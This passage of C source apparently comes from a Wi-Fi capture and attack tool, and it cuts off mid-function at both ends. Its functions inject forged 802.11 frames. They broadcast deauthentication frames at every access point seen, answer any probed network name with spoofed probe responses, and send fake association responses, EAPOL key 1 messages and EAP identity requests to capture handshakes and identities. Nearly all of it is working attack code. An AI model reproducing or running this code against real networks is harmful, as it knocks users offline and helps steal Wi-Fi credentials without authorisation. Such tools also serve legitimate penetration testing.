return;
}
/*===========================================================================*/
void sendassociationresponse(uint8_t dart, uint8_t *macaddr1, uint8_t *macaddr2)
{
int pcapstatus;
mac_t grundframe;
assocres_t associationframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if(modepassiv == true)
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
grundframe.type = MAC_TYPE_MGMT;
grundframe.subtype = dart;
grundframe.duration = 0x013a;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
grundframe.sequence = htole16(mysequencenr++ << 4);
associationframe.ap_capabilities = 0x0431;
associationframe.ap_status = 0;
associationframe.ap_associd = 1;
memcpy(&sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &associationframe, ASSOCIATIONRESF_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +ASSOCIATIONRESF_SIZE, &associationresponse, ASSOCRESP_SIZE);
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +ASSOCIATIONRESF_SIZE +ASSOCRESP_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending associationresponce %s \n", pcap_geterr(pcapin));
internalpcaperrors++;
}
mysequencenr++;
if(mysequencenr > 9999)
mysequencenr = 1;
return;
}
/*===========================================================================*/
void sendkey1(uint8_t *macaddr1, uint8_t *macaddr2)
{
int pcapstatus;
mac_t grundframe;
qos_t qosframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if(modepassiv == true)
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
memset(&qosframe, 0, QOS_SIZE);
grundframe.type = MAC_TYPE_DATA;
grundframe.subtype = MAC_ST_QOSDATA;
grundframe.from_ds = 1;
grundframe.duration = 0x3a01;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
qosframe.control = 0;
qosframe.flags = 0;
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &qosframe, QOS_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +QOS_SIZE, &anonce, ANONCE_SIZE);
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +QOS_SIZE +ANONCE_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending key 1 %s \n", pcap_geterr(pcapin));
internalpcaperrors++;
return;
}
internalm1++;
return;
}
/*===========================================================================*/
void sendrequestidentity(uint8_t *macaddr1, uint8_t *macaddr2)
{
int pcapstatus;
mac_t grundframe;
qos_t qosframe;
uint8_t sendpacket[SENDPACKETSIZEMAX];
if(modepassiv == true)
return;
memset(&grundframe, 0, MAC_SIZE_NORM);
memset(&qosframe, 0, QOS_SIZE);
grundframe.type = MAC_TYPE_DATA;
grundframe.subtype = MAC_ST_QOSDATA;
grundframe.from_ds = 1;
grundframe.duration = 0x3a01;
memcpy(grundframe.addr1.addr, macaddr1, 6);
memcpy(grundframe.addr2.addr, macaddr2, 6);
memcpy(grundframe.addr3.addr, macaddr2, 6);
qosframe.control = 0;
qosframe.flags = 0;
memcpy(sendpacket, hdradiotap, HDRRT_SIZE);
memcpy(sendpacket +HDRRT_SIZE, &grundframe, MAC_SIZE_NORM);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM, &qosframe, QOS_SIZE);
memcpy(sendpacket +HDRRT_SIZE +MAC_SIZE_NORM +QOS_SIZE, &requestidentity, REQUESTIDENTITY_SIZE);
pcapstatus = pcap_inject(pcapin, &sendpacket, +HDRRT_SIZE +MAC_SIZE_NORM +QOS_SIZE +REQUESTIDENTITY_SIZE);
if(pcapstatus == -1)
{
#ifdef DOGPIOSUPPORT
system("reboot");
#endif
fprintf(stderr, "error while sending request identity %s \n", pcap_geterr(pcapin));
internalpcaperrors++;
return;
}
internalm1++;
return;
}
/*===========================================================================*/
int sortaplist_by_time(const void *a, const void *b)
{
apl_t *ia = (apl_t *)a;
apl_t *ib = (apl_t *)b;
return ia->tv_sec < ib->tv_sec;
}
/*===========================================================================*/
int sortclaplist_by_time(const void *a, const void *b)
{
clapl_t *ia = (clapl_t *)a;
clapl_t *ib = (clapl_t *)b;
return ia->tv_sec < ib->tv_sec;
}
/*===========================================================================*/
bool handlebeaconframes(time_t tvsec, uint8_t *mac_ap, uint8_t essid_len, uint8_t **essidname)
{
apl_t *zeiger;
int c;
zeiger = beaconliste;
for(c = 0; c < aplistesize; c++)
{
if((memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0) && (zeiger->essid_len == essid_len) && (memcmp(zeiger->essid, essidname, essid_len) == 0))
{
zeiger->tv_sec = tvsec;
if(zeiger->deauthcount <= 0)
{
senddeauth(MAC_ST_DEAUTH, WLAN_REASON_PREV_AUTH_NOT_VALID, broadcastmac, zeiger->addr_ap.addr);
zeiger->deauthcount = deauthmaxcount;
return true;
}
zeiger->deauthcount -= 1;
return true;
}
if(memcmp(&nullmac, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
internalbeacons = c;
zeiger->tv_sec = tvsec;
memcpy(zeiger->addr_ap.addr, mac_ap, 6);
zeiger->handshake = 0;
zeiger->xtendedflag = 0;
zeiger->deauthcount = deauthmaxcount;
zeiger->disassoccount = disassocmaxcount;
zeiger->essid_len = essid_len;
memset(zeiger->essid, 0, 32);
memcpy(zeiger->essid, essidname, essid_len);
senddeauth(MAC_ST_DEAUTH, WLAN_REASON_PREV_AUTH_NOT_VALID, broadcastmac, zeiger->addr_ap.addr);
qsort(beaconliste, aplistesize +1, APL_SIZE, sortaplist_by_time);
if(statuslines > 0)
printstatus1();
return false;
}
/*===========================================================================*/
bool handleproberesponseframes(time_t tvsec, uint8_t *mac_ap, uint8_t essid_len, uint8_t **essidname)
{
clapl_t *zeiger;
int c;
zeiger = proberesponseliste;
for(c = 0; c < aplistesize; c++)
{
if((memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0) && (zeiger->essid_len == essid_len) && (memcmp(zeiger->essid, essidname, essid_len) == 0))
{
zeiger->tv_sec = tvsec;
internalproberesponses++;
return true;
}
if(memcmp(nullmac, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
internalproberesponses++;
zeiger->tv_sec = tvsec;
memcpy(zeiger->addr_ap.addr, mac_ap, 6);
zeiger->essid_len = essid_len;
memset(zeiger->essid, 0, 32);
memcpy(zeiger->essid, essidname, essid_len);
qsort(proberesponseliste, aplistesize +1, CLAPL_SIZE, sortclaplist_by_time);
return false;
}
/*===========================================================================*/
bool handledirectproberequestframes(time_t tvsec, uint8_t *mac_sta, uint8_t *mac_ap, uint8_t essid_len, uint8_t **essidname)
{
clapl_t *zeiger;
int c;
zeiger = proberequestliste;
for(c = 0; c < aplistesize; c++)
{
if((memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0) && (zeiger->essid_len == essid_len) && (memcmp(zeiger->essid, essidname, essid_len) == 0))
{
zeiger->tv_sec = tvsec;
sendproberesponse(mac_sta, mac_ap, essid_len, essidname);
internalproberequests++;
return true;
}
if(memcmp(&nullmac, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
internalproberequests++;
zeiger->tv_sec = tvsec;
memcpy(zeiger->addr_ap.addr, mac_ap, 6);
zeiger->essid_len = essid_len;
memset(zeiger->essid, 0, 32);
memcpy(zeiger->essid, essidname, essid_len);
sendproberesponse(mac_sta, zeiger->addr_ap.addr, essid_len, essidname);
qsort(proberequestliste, aplistesize +1, CLAPL_SIZE, sortclaplist_by_time);
return false;
}
/*===========================================================================*/
bool handleproberequestframes(time_t tvsec, uint8_t *mac_sta, uint8_t essid_len, uint8_t **essidname)
{
clapl_t *zeiger;
int c;
zeiger = proberequestliste;
for(c = 0; c < aplistesize; c++)
{
if((zeiger->essid_len == essid_len) && (memcmp(zeiger->essid, essidname, essid_len) == 0))
{
zeiger->tv_sec = tvsec;
sendproberesponse(mac_sta, zeiger->addr_ap.addr, essid_len, essidname);
internalproberequests++;
return true;
}
if(memcmp(&nullmac, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
internalproberequests++;
zeiger->tv_sec = tvsec;
memcpy(zeiger->addr_ap.addr, &myaddr, 6);
nextmac();
zeiger->essid_len = essid_len;
memset(zeiger->essid, 0, 32);
memcpy(zeiger->essid, essidname, essid_len);
sendproberesponse(mac_sta, zeiger->addr_ap.addr, essid_len, essidname);
qsort(proberequestliste, aplistesize +1, CLAPL_SIZE, sortclaplist_by_time);
return false;
}
/*===========================================================================*/
bool handleassociationrequestframes(time_t tvsec, uint8_t *mac_sta, uint8_t *mac_ap, uint8_t essid_len, uint8_t **essidname)
{
clapl_t *zeiger;
int c;
zeiger = associationrequestliste;
for(c = 0; c < aplistesize; c++)
{
if((memcmp(mac_sta, zeiger->addr_sta.addr, 6) == 0) && (memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0) && (zeiger->essid_len == essid_len) && (memcmp(zeiger->essid, essidname, essid_len) == 0))
{
zeiger->tv_sec = tvsec;
internalassociationrequests++;
return true;
}
if(memcmp(&nullmac, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
internalassociationrequests++;
zeiger->tv_sec = tvsec;
memcpy(zeiger->addr_sta.addr, mac_sta, 6);
memcpy(zeiger->addr_ap.addr, mac_ap, 6);
zeiger->essid_len = essid_len;
memset(zeiger->essid, 0, 32);
memcpy(zeiger->essid, essidname, essid_len);
qsort(associationrequestliste, aplistesize +1, CLAPL_SIZE, sortclaplist_by_time);
return false;
}
/*===========================================================================*/
bool handlereassociationrequestframes(time_t tvsec, uint8_t *mac_sta, uint8_t *mac_ap, uint8_t essid_len, uint8_t **essidname)
{
clapl_t *zeiger;
int c;
zeiger = reassociationrequestliste;
for(c = 0; c < aplistesize; c++)
{
if((memcmp(mac_sta, zeiger->addr_sta.addr, 6) == 0) && (memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0) && (zeiger->essid_len == essid_len) && (memcmp(zeiger->essid, essidname, essid_len) == 0))
{
zeiger->tv_sec = tvsec;
internalreassociationrequests++;
return true;
}
if(memcmp(&nullmac, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
internalreassociationrequests++;
zeiger->tv_sec = tvsec;
memcpy(zeiger->addr_sta.addr, mac_sta, 6);
memcpy(zeiger->addr_ap.addr, mac_ap, 6);
zeiger->essid_len = essid_len;
memset(zeiger->essid, 0, 32);
memcpy(zeiger->essid, essidname, essid_len);
qsort(reassociationrequestliste, aplistesize +1, CLAPL_SIZE, sortclaplist_by_time);
return false;
}
/*===========================================================================*/
bool handlextendedflagframes(time_t tvsec, uint8_t *mac_ap, int eapext)
{
apl_t *zeiger;
int c;
zeiger = beaconliste;
for(c = 0; c < aplistesize; c++)
{
if(memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0)
{
zeiger->tv_sec = tvsec;
zeiger->xtendedflag |= eapext;
// qsort(beaconliste, aplistesize +1, APL_SIZE, sort_by_time);
// if(statuslines > 0)
// printstatus1();
return true;
}
if(memcmp(&nullmac, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
return false;
}
/*===========================================================================*/
bool handlehandshakeframes(time_t tvsec, uint8_t *mac_ap, int handshake)
{
apl_t *zeiger;
int c;
zeiger = beaconliste;
for(c = 0; c < aplistesize; c++)
{
if(memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0)
{
zeiger->tv_sec = tvsec;
zeiger->handshake |= handshake;
qsort(beaconliste, aplistesize +1, APL_SIZE, sortaplist_by_time);
if(statuslines > 0)
printstatus1();
return true;
}
if(memcmp(&nullmac, zeiger->addr_ap.addr, 6) == 0)
break;
zeiger++;
}
return false;
}
/*===========================================================================*/
bool handledisassocframes(time_t tvsec, uint8_t *mac_ap)
{
apl_t *zeiger;
int c;
zeiger = beaconliste;
for(c = 0; c < aplistesize; c++)
{
if(memcmp(mac_ap, zeiger->addr_ap.addr, 6) == 0)
{
zeiger->tv_sec = tvsec;
if(zeiger->disassoccount <= 0)
{